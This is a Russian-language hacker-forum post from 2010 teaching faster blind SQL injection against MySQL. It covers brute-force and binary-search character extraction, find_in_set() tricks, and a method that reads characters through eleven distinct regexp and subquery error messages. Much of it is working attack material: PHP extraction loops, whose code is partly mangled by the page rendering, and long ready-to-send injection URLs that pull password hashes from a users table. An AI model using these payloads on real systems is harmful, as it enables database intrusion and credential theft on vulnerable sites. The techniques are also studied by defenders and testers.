Prev Предыдущее сообщение   Следующее сообщение Next
Старый 09.07.2010, 15:40   #1
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
Post Быстрый Blind SQL Injection.

Быстрый Blind SQL Injection.


[1] INTRO

Основной проблемой при работе с Blind SQL Injection является огромное количество запросов,
которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы.
Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать.
Я рассмотрю некоторые варианты.


[2] Полный перебор всех символов (до 512 запросов на md5)

Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так:
PHP код:
for($i=1;$i<=32;$i++)
 for(
$j=1;$j<=255;$j++){
  
$res send($url"sql.php?id=if(ascii(substring((select+$field+from+users+where+id=0),$i,1))=$j,'1',(select+1+union+select+2))")
  if(!
preg_match('/Subquery returns/'$res) {
   echo 
$j;
   continue;
  }
 } 
Принцип работы прост: Для каждого символа сравниваем значение его ascii кода с кодами заданого нами диапазона, если выполняется некое условие - символ найден. Т.е. для хеша MD5, будет слаться до 16 запросов на символ, т.е. до 512 запросов на весь хеш. Для получения логина необходимо послать ещё больше запросов.
Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко.


[3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5)

- это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями.
Принцип работы прост:

1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа,
с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1.
3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1.
4) Если символ не больше и не меньше, то мы как раз его и нашли.

Например мы получаем хеш md5:

Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
Допустим в БД лежит символ 'b'

Запускаем процесс:
1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'.
2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос)
3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'.
4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос)
5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'.
6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос)
7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'.
8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос)
9) Код ни больше и не меньше, значит символ в БД = 'b'

Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа.

Пример реализации:
PHP код:
function getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }

+ метод универсален, и даёт неплохую скорость поиска.
- можно искать быстрее


[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)

Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',',
возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.:
Код:
mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2
Т.е. мы можем узнавать код символа таким образом:
Код:
select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
и получим номер символа в множестве. К примеру, для символа 'b', этот запрос вернёт 12.

В слепых скулях можно использовать так:
Код:
news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')
И в зависимости от кода символа мы будем видеть новость с id, соответствующим символу пароля.

На практике, для использования нужно:
1) Выделить ключевые слова на страницах с нужными id
2) Отправить запросы с find_in_set для каждого символа из БД
3) Выяснить страницу с каким id мы получили и вывести на экран код символа.

Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так.

Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее,
т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID)

+ высокая скорость работы (в идеальном случае)
+ не требует вывода ошибок
- на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально
- для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод)


[5] Использование find_in_set() + more1row (~42 запроса на md5)

Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра.

Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса.

В данный момент, наиболее часто используется запрос:
Код:
SELECT 1 UNION SELECT 2
(нашёл podkashey), возвращающий ошибку:
Subquery returns more than 1 row

Так же, ZaCo, нашёл альтернативный вариант запроса:
Код:
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/
Если версия MySql не 5, то этот запрос вернёт ошибку:
#1139 - Got error 'invalid repetition count(s)' from regexp.

Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:
Код:
SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp
 
select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp

Примем это во внимание.
Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос:
Код:
select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))
Если 1й символ пароля находится в множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернёт:
#1242 - Subquery returns more than 1 row
,а если не находится, то:
#1139 - Got error 'invalid repetition count(s)' from regexp


Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ.

Расставим символы по группам так, чтобы минимизировать количество обращений к серверу.

На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к.
всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру:

Код:
[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'
Расставленно именно так, чтобы минимизировать количество запросов, т.к. на каждом запросе, мы узнаём номер группы в которой находится символ.
В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа:
Код:
[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'
Алгоритм работы со скулёй выглядит несложно:
1) оптимально распределить символы алфавита по группам
2) по возвращённому коду ответа выяснить в какой группе находится символ из бд
3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1.

Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так:
Код:
sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+union+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1
Поэтому в приложении можно найти скрипт, который автоматически генерирует запросы с вложеными условиями согласно описаному выше алгоритму, отправляет их и по ответу определяет, стоит ли слать ещё запросы, или символ уже найден.

+ высокая скорость работы
+ универсален, как и more1row
* Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме.
- требует включеный вывод ошибок


[6] Outro

Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах.
Кто знает что нам принесут новые версии известных СУБД.


[7] Links

При написании статьи использовалось:

https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ by Dr.Z3r0
https://forum.antichat.ru/thread43966.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection by Elekt
https://forum.antichat.ru/showpost.p...9&postcount=11 - Использование ошибок regexp by ZaCo
https://blackhole.cih.ms:13000/showthread.php?t=554 - Проведение слепых инъекций через find_in_set() by +toxa+ (там же скрипт)
http://dev.mysql.com/sources/doxygen...8c-source.html - Ошибки regexp (сорцы MySql)
Qwazar вне форума   Ответить с цитированием
 

Метки
blind sql injection, injection, mysql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot